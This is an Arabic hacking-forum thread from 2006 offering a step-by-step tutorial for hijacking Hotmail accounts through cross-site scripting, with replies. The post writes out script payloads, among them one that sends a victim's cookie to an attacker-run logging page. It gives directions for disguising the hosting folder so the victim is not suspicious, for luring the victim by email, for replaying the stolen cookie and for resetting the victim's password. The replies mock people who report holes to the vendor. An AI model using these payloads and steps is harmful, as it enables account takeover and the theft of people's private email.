قنبله المنتديات العربيه ثغره الـXss HotMaiL حصريا على مياسه شرح بالصور

10:11 PM

بسم الله الرحمن الرحيم

السلام عليكم ورحمه الله وبركاته

ملاحظه هامه الشرح محفوظ لمنتديات مياسه وكويتي^صخر
ولحد يجي وينقله ويقول ان من العضو نفسه كاتبه علشان
افيدكم زياده لازم تذكرون الحقوق.... وارجوا من الادارة حفظ الحقوق
لان هالشرح والثغره العالم كلها مصابين فيها تقريبا انا وانت والكل...

رجاء خاص لحد يستخدمها ضد اخوانه العرب والمسلمين
وانا ادري اغلبكم يخترق ربعه بس رجاء خاص اخواني...

بسم الله نبدأ الشرح:-

طبعا ثغره الهوتميل اقوى ثغره التي هزت شركه الـ MSN
وقللت من حمايتها وانسرقت اغلب اميلات الشباب الموجوده بالنت
واول ثغره نزلت عام 2005 ... الي يجي ويقول عارفها من زمان
اقوله الثغره كانت برايفت بس انتشرت وهالثغره الي بشرحها
كانت برايفت بس انشرحت وهذي انا شرحتها مره ثانيه بمنتديات مياسه

اول شئ بعطيكم معلومه عن ثغرات الــ Xss

طبعا الـ Xss او الCross Site Scripting ثغرات حلوه جدا
وهي لها صله بالــ C o o k i e s ومن خلال هذا الـ C o o k i e s
تقدر انك تستفيد من معلومات الكوكيز نفسه

واحد يجي يسألني طيب يا كويتي صخر كيف نستفيد؟

انا اقولك كيف تستفيد.... ^^

طبعا الكوكيز موجود بكل جهاز وبكل منتدى تسجل فيه الكوكيز يجيك
تلقائي بجهازك علشان اذا دشيت المنتدى مره ثانيه يتسجل تلقائي
تلقى نفسك متسجل خالص بس تدش تشارك ليش يصير هالشئ؟

لان الكوكيز دش جهازك وانحفظ وطبعا مو خطر ان يدش جهازك
وله فايده على المنتدى نفسه ان يحصد اكثر عدد من الاجهزه

انا شرحت من كم فتره ثغره الفلاش تبع منتديات الـ vBulletin
ان يوصلك الكوكيز على اميلك ومن ثم تاخذ برنامج كوكيز اديتور
وتغير الـ LastVisit و Userid و Password
وتسوي حفظ وتدش المنتدى بأسم الادمن هذي الثغره تسمى Xss
ليش؟ لان يوصلك الكوكيز واي ثغره تتعلق بالكوكيز اسمها Xss

الحين احنا عرفنا نبذه عن ثغره الـ Xss

طيب كيف مثلا يا كويتي صخر اعطيني شرح مبسط لثغرة xss .. ؟

مثلا عندنا ثغرة xss بمنتدى Invision Power Board

مثلا [فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]

الحين الxss بالمنتدى

http://xxx.com/forums/index.php?act=idx='>xss

الحين بمكان كلمه xss نضيف كود خبيث يعرض لنا الكوكيز و هو

<Script>javascript:alert(document.****** )</Script>

يصير كالتالي :

http://xxx.com/forums/index.php?act=idx=<Script>javascript:alert(documen t.co o k ie )</Script>

الأن بعد ما نكتب الرابط بالمتصفح راح تظهر لنا نافذة Microsoft Internet Exploler و داخلها معلومات الكوكيز بجهازك تبع المنتدى ..

طيب جميل جدا الأن كل شئ .. لكن لسة ما وصلنا كيف راح يسرق الهكر الكوكيز من جهازي

الحين انا الى دخلت على الرابط و ظهر لي الكوكيز في جهازي ما ظهرت للهكر !!..

فعلا الكوكيز ظهر على جهازك!! مثلا الهكر يبي يشوف هالكوكيز عنده شنو يسوي؟

راح يستخدم شئ اسمه الـLog و يربطه مع الثغرة ..

ايش هو الLog ؟

الوج هذا عبارة عن ملف مكتوب بلغة الphp يقوم بتسجيل الكوكيز الى توصله في ملف txt او يرسلها على الأيميل..

الحين لما يجي الهكر يربط الثغرة بملف الوج و انت تدخل على الرابط اول لما تدخل على الرابط راح ترسل الكوكيز لملف الlog و يحصل عليها الهكر .. ( مثل ما شرحت بثغره الفلاش )

نشوف مثال لربط ملف الوج بالثغرة .. راح نستبدل الكود الخبيث

<Script>javascript:alert(document.****** )</Script>

و الرابط يكون :

http://xxx.com/forums/index.php?act=idx=<Script>location.href="http://www.xxx.com/log.php?id="+escape(document.******</Script>

http://www.xxx.com/log.php = رابط ملف الوج الى راح يرسل له الكوكيز

طيب الحين نفرض الهكريبي يسرق الكوكيز من جهازك راح يرسلك هذا الرابط اول لما تدخل عليه راح ترسل الكوكيز إلي راح يسجلها في ملف txt على الموقع او يرسلها علطول على الأيميل ..

الحين جذي عرفنا تطبيق بسيط لثغرة xss و اصبح لدينا خلفية عنها و فهمنا كيف تتم ..

---------------------------

الحين بعد هالمقدمه الطويله ندش بصلب الموضوع

يوجد بالهوتميل ثغره خطيره جدا جدا من نوع Xss
التي تؤدي الى سرقه الاميل بالكوكيز بدون برامج....

بالبداية انا راح اشرح الثغرة ليس لهدف استغلالها و السرقه بها و لكن لعرض مدى خطورتها على كل واحد
و كمان نرى هذي الأيام انتشار عمليات سرقه ايميلات ناس كثير بدون استقابل اي برامج او باتشات

و و اللًة انا برئ تماما ممن يستخدم الثغرة على المسـلمينء في سرقه ايميلاتهم و اللًة على ما اقول شهيد ..

.::: بسم اللًة نبداء الشرح ::..

بالنسبه لتطبيق الثغره راح نحتاج 4 ملفات...

1- ملف الــ Log.php
2- ملف js
3- ملف الــ index.htm
4: كود استغلال الثغرة ..

ِشوف الصوره:-

الحين راح يتم التعديل على الملفات
بالبدايه نفتح ملف الــ index.php بمفكره
شوف الصوره:-

ونعدل على الي داخله شوف الصوره وياي :-

بدال الـ xxx حط اسم موقعك علشان يكون التعديل على موقعك

والحين نفتح ملف الــ js

ونعدل عليه كما في الصوره الحين:-

والحين نفتح الــ FTP على موقعك وتنقل الملفات عليها

وتنقل ملفات الثغره كامله كما هو مشورح بالصوره
واحسن شئ انك ترفعه مع المجلد كامل وتسميه اي شئ وتمويه للضحيه سميه
مثل اسم المنتدى يعني مثال :- vb
علشان ما يشك الضحيه ويقول ان الرابط صحيح لمنتدى فاهمين علي؟

وبعدين نعطي المجلد الي فيه الثغره تصريح رقم 777
وطريقه اعطاء التصاريح بالصوره شوف:-

وبعدين ترسل رساله من اميلك على اميل الي تبي تسرقه
في وقت دخول الي دزيتله رساله راح يشيك على الرسايل ويشوف الرساله مالتك
يفتحها اول ما يفتحها راح تشوف مجلد الثغره زاد ملف ثاني اسمه
majed.htm هذا المجلد اهو الي فيه الكوكيز
يعني يصير الرابط مال الملف الي فيه الكوكيز بالطريقه هذي
[فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]

حيث ان xxx
هو اسم الموقع تبعك وراح تشوف الكوكيز كما في الصوره التاليه:-

انسخ الكوكيز كاااامل وتأكد ان الكوكيز كامل
وبعدين افتح برنامج اسمه
Proxomitron

وهذي ايقونته:-

تفتحه البرنامج وتروح على قائمه الهيدر
شوف الصوره وياي:-

وبعدين راح نضغط على قائمه نيو شوف الصوره:-

وبعدين راح يفتحلك مربع ثاني

مثل ما تشوف راح تحط الفراغ الاول مثل ماهو مكتوب
والفراغ الثاني تتركه فاضي طبعا
والفراغ الثالث تحط فيه علامه النجمه "*"

والفراغ الرابط طبعا الكوكيز كاااامل وتأكد ان كااامل وانسخه والصفه بالفراغ الاخير
وبعدين اضغط اوكي

وبعدين راح تشوف كلمه كوكيز اشل على الصح الي على Out
وبعدين اضغط على Apply
واضغط على Ok

والحين خلاص اخر خطوه تسويها والي اهي الدخول على رابط الاستغلال
والي اهو:-

[فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]

وراح تشوف الانبوكس تبع الاميل الي تبي تسرقه قدامك
وشوف هذا تطبيق للثغره مالت الهوتميل

والحين خلاص تقدر تسوي اي شئ وتغير الباسوورد
تدخل على موقع الهوتميل الي اهو
[فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]
وتضغط على نسيان الباسوورد ولكن ليس على الاميل البديل
على الاميل نفسه وراح توصلك رساله من الشركه وتفغط على الرابط الاول
وتغير الباسوورد
وألف مبرووووووووووووك

ارجوا عدم تطبيقها ضد اخواننا العرب والمسلمين
وهذا انا قلتلكم ومن مصحلتكم هالشئ لان راح تاخذون ذنوب كثير
وما شرحتها علشان تسرقون بعض بالعكس
شرحتها علشان ما تقولون منتديات مياسه تحتكر المعلومه

كويتي^صخر

كويتي^صخر · في 18-Sep-2006 الساعة : 02:33 AM

وعليكم السلام

بس ياعمي سمعت يقولون اغلقوا الثغرة هذا ’

الموجوده في newletters من قبل شركة الهوت ميل

صحيح الكلام ’ ولا كلام اشاعه ؟

أنتظرك بشان نجرب ’ ترى ازعجوني الاجانب اللي معاي من كثر

طلبات البطاقات العروض

بس بصراحه شرحك مميز ومتعوب جدآ

كويتي^صخر · في 18-Sep-2006 الساعة : 07:29 AM

كويتي^صخر

كفيت ووفيت

بالفعل

موضوع متعب عليه

ويستحق درجة الامتياز

ويعطيك الف عافيه

تحياتي لكـ

كويتي^صخر · في 18-Sep-2006 الساعة : 10:27 PM

*·~-.¸¸,.-~*نايف التميمي*·~-.¸¸,.-~*

حبيب قلبي انت والله...
مشكور على المرور وماتقصر حبيبي وسوري عالاطاله

اي نعم الثغره مالت الــ newletters تسكرت
واربع ثغرات من الهوتميل تسكرت بس هالثغره الي حاطها انا
مالت الموبايل ام اس ان خطيره وكانت سريه ^^
بس حطيتها واذا تسكرت افا عليك ماكو شئ ينخش عليكم
بحط لكم ثغره جديده من الثغرات الممنوعه طبعا.....

بس الحين ليش صار احتكار على هالثغرات؟
لان في ناس تسمع عن ثغره جديده بالهوتميل بلغوا السيكورتي
وبلغوا الهوتميل راحوا الهوتميل سكروها قطعوا رزقنا
عرفت؟
ههههههههههههههههههههههههههههههههههههه

بس الحين خذيت الي ابيه من ثغره الهوتميل
وشرحتها لكم وكانت ثغره برايفت يعني سريه بس تستاهلون

واذا تسكرت بلغني او اي احد يبلغني لاني مو من النوع الي ممارس لها
بس وقت الذروه واحد داش بمخي اجيب راسه
نفس صقر مياسه قاعد اجرب عليه وصادني
هههههههههههههههههههههههههههههههههههههههه
حبيب قلبي اهو والله

ومشكور على المرور والله يقويك انشالله

كويتي^صخر · في 18-Sep-2006 الساعة : 10:29 PM

×?°عذبة مشاعر×?°

يسلملي مرورج العطر والله وماتقصريت
وانتي تستاهلين درجه امتياز على ردج الحلو
لا عدمناج ولا عدمنا تواجدج معانا...

وحياج الله اختي الغاليه :)

كويتي^صخر · في 18-Sep-2006 الساعة : 10:57 PM

تبي الصحيح

العرب ظلموا المسلمين وبس يخترقون الايميلات المسلمين ولا يخترقون اليهود

لاتزعل من كلامي ’ هذا الصحيح

ويعطيهم العافيه الهوت ميل ماقصروا

كويتي^صخر · في 21-Sep-2006 الساعة : 02:31 PM

تسلملي حبيب قلبي على المرور نايف....

والله الي يستاهل يا نايف نخترقه
في عرب وربي ما يستاهلون بس اختراق الا طق ودوس خشوم
بس " رحم الله امرء عرف قدر نفسه "

واليهود ليش احنا نستفيد منهم ترى اليهود والمسيح
ناس عباقره بالكمبيوتر والهكر.. اما العرب بقولها وبكل صراحه
احتكار+ غباء + انانيه وهذا الي نشوفه بالمنتديات العربيه
بس انا بكسر القاعده ^^

وتسلملي على المرور وما ازعل افا عليك حبيب قلبي...

كويتي^صخر · في 21-Sep-2006 الساعة : 07:48 PM

والله فديتك عليك سوالف صح

وأحب اتنقاش وأعتذر لك

اقتباس :

والله الي يستاهل يا نايف نخترقه
في عرب وربي ما يستاهلون بس اختراق الا طق ودوس خشوم
بس " رحم الله امرء عرف قدر نفسه "

صح هذا معاك حق في نقطه , ويمدحونه درس أختبار

بس يخترق على الفاضي ويسوي نفسه قوي

ترى بكرة يجي اقوى منه

اقتباس :

واليهود ليش احنا نستفيد منهم ترى اليهود والمسيح
ناس عباقره بالكمبيوتر والهكر.. اما العرب بقولها وبكل صراحه
احتكار+ غباء + انانيه وهذا الي نشوفه بالمنتديات العربيه
بس انا بكسر القاعده ^^

صح كلامك سليم , يمدحون مراهقين على غفله

مع احترامي الجم ,

واقول لك ياكويتي صخر

أتمنى لك التوفيق واتمنى لك السلامه ويحميك من السجن والسبب الاختراقات وأحرص وانتبه على نفسك

وجعل عمرك طويل وسامحني اذا هناك كلامي قاسي اليك

كويتي^صخر · في 22-Sep-2006 الساعة : 10:07 AM

عزيزي ... كويتي ^ صخـر

كفيت وفيت يا الغلا

وتستحق امتياز مع مرتبة الشرف

تقبل مروري

ولك مني تحية بعبق الزهور . .

كويتي^صخر · في 28-Sep-2006 الساعة : 08:19 PM

كويتي^صخر = ابداع وتميز
مشكور على تعبك معانا

كويتي^صخر · في 07-Oct-2006 الساعة : 02:48 PM

هل الثغرة للحين موجودة ؟



شايف وساكت من من غرفتي النضلمه : سلام سلملم كيف الكلملم مساكم ورد يتكلم كيفكم إن شاء الله تكونوا طيبين وبخير روح من احب مياسه : اهلا بجميع الاعضاء انا احبكم معاند الجروح من السلام عليكم ورحمة الله وبركاته ايش هالتطورات الرائعه : لا اله الا الله سبحان الله والحمد لله والله اكبر مشاااعر ألم من صندوق واردي !! : ربنا أتمم لنا نورنا واغفر لنا إنك على كل شئ قدير عبق الزهور من احلى منتدى : الف مبروك على الستايل الجديد والشكر موصول لأدرتنا الرائعه ^8 احلى فراوله من ثآمنٍ سمآـآآ : ولوٍ ترٍآكمـْ طفشتونآ طُلعتًوـآ شيب] رآسنآ****** حتىٍـآ ـآلمنتدٍىٍ يتغلىٍ ^بنوته^ من مياسه : لااله الا انت سبحانك اني كنت من الظالمين سبحان الله-الحمدلله-الله اكبر-لااله الا الله water flower من ربوع ميـــاسة : أبـــارك للإدارة **** والمشرفين **** والأعضااء **** هذا الستاايل الجميل تمنيااتي للجميع بقضااء أفضل الأوقاات ****** داخل هذا الصرح الشاامخ